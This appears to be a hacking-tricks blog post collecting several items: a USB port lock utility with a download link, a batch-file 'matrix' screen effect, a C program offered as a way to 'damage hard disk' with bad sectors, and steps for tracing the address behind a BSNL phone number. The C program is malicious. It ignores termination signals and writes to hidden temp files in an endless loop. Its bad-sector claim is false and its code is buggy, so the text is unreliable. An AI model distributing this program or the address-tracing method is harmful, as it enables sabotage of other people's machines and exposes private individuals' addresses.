Password Protect USB Ports

Sometimes we want to Password Protect our USB ports, so that is no one can Insert or Transfer data from/to PC via USB drive.
This can be very useful if you have confidental data in your system and don't want it to share with anyone. MyUSBonly is third party software which can disable and Password Protect your USB ports.

Features of MyUSBonly.:

• Prevent data loss while you are away from home or computer.
• Stop information leakage such as documents, photos and videos.
• Prevent un-trusted USB storage devices from various users.
• Secretly log all USB connect and disconnect activity.
• Get an email notification mesage when an unauthorized USB storage device is connected to your PC.

How to Use it.:

• After installation of this software you will see a USB icon in your system Tray. Click on it and select General Setup.
• Type your Password and click on Allow button. By default the Password is 0000and you can change it anytime.

• Now a new window will open and you can costumize its settings according to your need.

download link:

http://www.techmynd.net/downloads/software/usb-ports-protect-techmynd.rar

Matrix Effect

Not much to explain, just follow the steps and see the amazing matrix effect happen in your DOS window:

• Open Notepad.
• Copy the below mentioned text in your notepad file:

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

• Save the file with .bat extension like Matrix.bat

Thats it. Just open the file to see the matrix effect right before your eyes!

Damage Hard Disk with a c program.

This program will create Bad Sectors on HDD and in turn it will damage the hard disk.

(Use at your own risk)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

Get Details of Bsnl Numbers

BSNL Phone Numbers Details.

You can trace the Bsnl phone numbers details.Its quite easy and possible.

EXAMPLE: For tracing the address of a number located in Assam(India) just log in to http://www.bsnl.co.in/onlinedirectory.htm

After logging in, select the area (city) to which the phone number belong and then proceed further.

In the option "Search by" , select Telephone number. select the station to which the phone no. belongs and finally write the phone number in the "Search key field" . In this way the address of that particular number will be traced.

For selecting any other state of India, log on to http://www.bsnl.co.in/index.html . In the Right hand side you see the "BSNL units" option (above Username field), select your state from the menu and then proceed further.

NOTE : Try both, number including (2) as well as number excluding (2) as a prefix.